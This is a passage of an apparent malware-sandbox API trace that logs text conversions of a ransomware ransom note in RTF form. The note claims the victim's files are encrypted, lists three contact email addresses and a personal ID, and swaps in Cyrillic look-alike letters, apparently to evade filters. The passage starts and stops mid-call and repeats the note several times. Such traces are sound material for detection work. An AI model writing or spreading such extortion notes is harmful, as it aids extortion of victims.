r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 